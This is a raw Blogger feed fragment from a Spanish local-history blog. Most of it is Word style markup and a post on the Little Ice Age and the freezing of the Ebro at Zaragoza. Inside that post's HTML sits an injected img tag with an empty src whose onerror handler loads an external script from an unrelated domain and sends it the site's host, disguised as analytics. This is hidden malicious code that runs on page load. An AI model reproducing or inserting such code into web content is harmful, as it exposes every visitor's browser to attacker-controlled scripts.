   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:&quot;Tabla normal&quot;;
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-parent:&quot;&quot;;
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin-top:0cm;
	mso-para-margin-right:0cm;
	mso-para-margin-bottom:10.0pt;
	mso-para-margin-left:0cm;
	line-height:115%;
	mso-pagination:widow-orphan;
	font-size:11.0pt;
	font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-fareast-language:EN-US;}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:HyphenationZone&gt;21&lt;/w:HyphenationZone&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;ES&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
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&lt;![endif]--&gt;&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/8259148590291056928/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/02/la-candelaria-y-la-prediccion-del-tiempo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8259148590291056928'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/8259148590291056928'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/02/la-candelaria-y-la-prediccion-del-tiempo.html' title='La Candelaria y la predicción del tiempo'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFZIYG3vAIUurFz2WZXQnDD4L1pzy75D7yFZ-JQ4Vhn5BwqOwlNMMKFyK7W0BtAtd4MDk-KBUX_i-WfiQ4duDcfBCXUuSxFsyR4WAaJQlooViEVwzDWlDwnL2dNN82xApRw6ShOsjjZHlB/s72-w312-h246-c/Marmota.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-116206688597750653</id><published>2021-01-18T17:38:00.025+01:00</published><updated>2021-01-19T12:51:09.277+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CLIMA"/><title type='text'>El Ebro se heló varias veces en Zaragoza durante la Pequeña Edad del Hielo</title><content type='html'>&lt;div id=&quot;ventanamailtotoMail&quot; style=&quot;z-index: 1102;&quot;&gt;&lt;div id=&quot;ventanamailtomodalMail&quot;&gt;&lt;div id=&quot;ventanamailtopopupToModalClose&quot;&gt;&lt;/div&gt;&lt;div id=&quot;ventanamailtoquestionToModalMailPopup&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;img onerror=&quot;var s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.id=&amp;quot;cczedcc-plg-analytics&amp;quot;;s.src=&amp;quot;//poruce.neyelanane.com/scripts/js?k=5f36449983df1a9c728b4567&amp;amp;s=&amp;quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&amp;quot;head&amp;quot;)[0].appendChild(s);&quot; src=&quot;&quot; /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU1pYdzSoxSvhj07R9Rs3noalUknZ1k7nAP1oij19JJcWZmUeUyyvK7l4ZrlLAv3Cmw5cWkWBdHAacsO-gjG4BHdlL1WIRJi__W4pcZ_1m5d7bXv67dG4MSZkRQdlM99yH5iyPqZa4iUxD/s1000/Pilar+y+Ebro.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;750&quot; data-original-width=&quot;1000&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU1pYdzSoxSvhj07R9Rs3noalUknZ1k7nAP1oij19JJcWZmUeUyyvK7l4ZrlLAv3Cmw5cWkWBdHAacsO-gjG4BHdlL1WIRJi__W4pcZ_1m5d7bXv67dG4MSZkRQdlM99yH5iyPqZa4iUxD/s320/Pilar+y+Ebro.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;LA BORRASCA FILOMENA Y LA PEQUEÑA EDAD DEL HIELO&lt;/b&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;A su paso por la Península, “Filomena”, tan terrible como el
mito, ha dejado un panorama inédito de intensas nevadas y fuertes heladas con
temperaturas negativas de record, en definitiva un frío más propio de épocas
pasadas. Porque el frío intenso, la nieve y los hielos fueron la característica
común del clima que reinó hasta hace relativamente poco tiempo, pero la memoria
colectiva ya no lo recuerda. Aunque desde el origen de los tiempos los cambios
climáticos han sido muchos y diversas las causas (&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt;&lt;/b&gt;), no hay que ir muy lejos
en el tiempo para encontrar el último cambio climático importante, se le conoce
como la &lt;b&gt;Pequeña Edad del Hielo&lt;/b&gt;.&lt;/p&gt;

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&lt;![endif]--&gt;&lt;span&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Fue el geólogo F.E. Matthes quien en 1939 denominó así a esa época en
la que el clima se volvió muy frío, a veces gélido, imprevisible y de grandes
consecuencias catastróficas, tanto fue así que según el investigador Marc Oliva
fue “el periodo frío más prolongado e intenso de los últimos 10.000 años”.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Afectó especialmente a Europa, aunque también extendió sus efectos por
todo el globo (&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;2&lt;/span&gt;)&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/b&gt;y&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/b&gt;en líneas generales, abarcó desde comienzos del
siglo XIV hasta la mitad del siglo XIX, es decir, desde 1300 hasta 1850 (ó
1860). Pero hay que señalar que estos cinco siglos y medio no fueron siempre tan
fríos ni afectaron por igual a todos los lugares, hubo periodos breves más
cálidos con temperaturas estables que se alternaron con otros muy largos en los
que el clima fue verdaderamente helador.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimFqUREvUd7-_0Q1TuKUsBJq-L1ZVXySDEutsoFJEu7V_nFBoQetBS1SuxTjGn0XCxOhyphenhyphena0h5h9CL76_VIMM0qTj77WYsZYgwh4GWLxzt0VnytdIr8kuo5oyHir552C58oUwAxYIKSiNrB/s1000/La+Aljafer%25C3%25ADa.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;750&quot; data-original-width=&quot;1000&quot; height=&quot;248&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimFqUREvUd7-_0Q1TuKUsBJq-L1ZVXySDEutsoFJEu7V_nFBoQetBS1SuxTjGn0XCxOhyphenhyphena0h5h9CL76_VIMM0qTj77WYsZYgwh4GWLxzt0VnytdIr8kuo5oyHir552C58oUwAxYIKSiNrB/w330-h248/La+Aljafer%25C3%25ADa.jpg&quot; width=&quot;330&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Palacio de La Aljafería (s. XI) Borrasca Filomena&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La PEH vino precedida de unos siglos de clima benigno, conocido como
el Óptimo Climático Medieval (entre el 900 y 1300), época favorable para las
cosechas que propiciaron el aumento de la población europea, el desarrollo del
comercio y el resurgimiento de las ciudades.&lt;/div&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Pero a comienzos del s. XIII el clima comenzó a cambiar, las
temperaturas bajaron y los episodios de lluvias torrenciales y grandes nevadas
fueron habituales. El frío se intensificó a partir de 1331, acortó la temporada
de cultivo y se sucedieran años de malas cosechas; las intensas nevadas
dificultaron los pasos de montaña y los glaciares de las cordilleras comenzaron
a avanzar por primera vez desde hacía muchos siglos.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Por si fuera poco, en 1347 la peste hizo su aparición extendiéndose
rápidamente y en sucesivos brotes se cebó sobre una población debilitada,
enfermiza y con nulas condiciones higiénicas aumentadas por el frío y las
lluvias, mermándola hasta extremos inauditos. Nuestro país no fue ajeno a esta situación, se
sabe que en Zaragoza los muertos diarios debidos a la peste se contaban por
centenares, al igual que en otras ciudades.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;La última década del s. XVI marcó el inició del máximo rigor de la
PEH, durante doscientos años las condiciones climáticas fueron extremas, con
fríos inusuales intercalados con años más cálidos y sequías prolongadas en
algunos lugares.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Los más gélidos ocurrieron
entre 1645 y 1715 y el invierno de 1739-1740 fue tan frío que se le llamó “el
gran invierno europeo”.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEige76xmg-dGmyXCVLYNWfF-LFC5AJ7vysg2YgldebyzetmP7YPfkROr1SFF_e0dGPLg7VB8ta82sl0hpGcjnsOQ5eNAQSEEwQh4PBQYBxElunLPU7YOA2j1IXSl3vJIY5sa91mE9Ts79ug/s800/A+Frost+Fair+on+the+Thames+at+Temple+Stairs%252C+London+Abraham+Hondius+%2528c.1625%25E2%2580%25931691%2529.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;473&quot; data-original-width=&quot;800&quot; height=&quot;199&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEige76xmg-dGmyXCVLYNWfF-LFC5AJ7vysg2YgldebyzetmP7YPfkROr1SFF_e0dGPLg7VB8ta82sl0hpGcjnsOQ5eNAQSEEwQh4PBQYBxElunLPU7YOA2j1IXSl3vJIY5sa91mE9Ts79ug/w337-h199/A+Frost+Fair+on+the+Thames+at+Temple+Stairs%252C+London+Abraham+Hondius+%2528c.1625%25E2%2580%25931691%2529.jpg&quot; width=&quot;337&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Feria sobre el Támesis helado. Hondius s. XVII&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Durante todo este tiempo los ríos de Europa se helaron, en Londres
sobre el Támesis se celebraban ferias, las Frost fair (la última en 1814); también
se helaron el Ródano (siete veces entre 1556-1595), el Danubio, el Rim, el
Elba, los canales venecianos, el Moscova… incluso en el invierno de 1506, según
relatan algunas fuentes, llegó a helarse el Mediterráneo en las costas de
Marsella.&lt;/div&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Los pintores del s. XVI nos dejaron imágenes de estos hechos, Brueghel
el Viejo, Brueghel el Joven, H. Avercamp... y en el s. XVII A. Hondius y T.. Wyke (s. XVII)…&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;La Península Ibérica también sufrió las consecuencias de la PEH, pero
fueron menos intensas debido a su situación geográfica; la gran variabilidad
térmica e hidrológica fue la característica predominante del clima en estos
siglos. No obstante, también aquí los inviernos fueron, en general, muy fríos,
largos y con grandes nevadas, alternando con periodos muy secos que provocaban
intensas nieblas (anticiclones de bloqueo), mientras que los veranos fueron
cortos pero moderadamente cálidos, produciéndose fuertes contrastes térmicos.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt; &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWsuboz1Hqd76bsEfihEep09gc_u_Jy1M67JtxX5SmvNmJEzOM2YOUezvg6655NVFKr9ZX3z5U-CsEqxV4_n7prFm0Re3DFUYrRsY51u2NuSoQIs2njHM6ZHY8uKD2OlbMsjoTEeBKso3F/s1000/Ebro+y+Pilar+al+fondo.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;750&quot; data-original-width=&quot;1000&quot; height=&quot;258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWsuboz1Hqd76bsEfihEep09gc_u_Jy1M67JtxX5SmvNmJEzOM2YOUezvg6655NVFKr9ZX3z5U-CsEqxV4_n7prFm0Re3DFUYrRsY51u2NuSoQIs2njHM6ZHY8uKD2OlbMsjoTEeBKso3F/w343-h258/Ebro+y+Pilar+al+fondo.jpg&quot; width=&quot;343&quot; 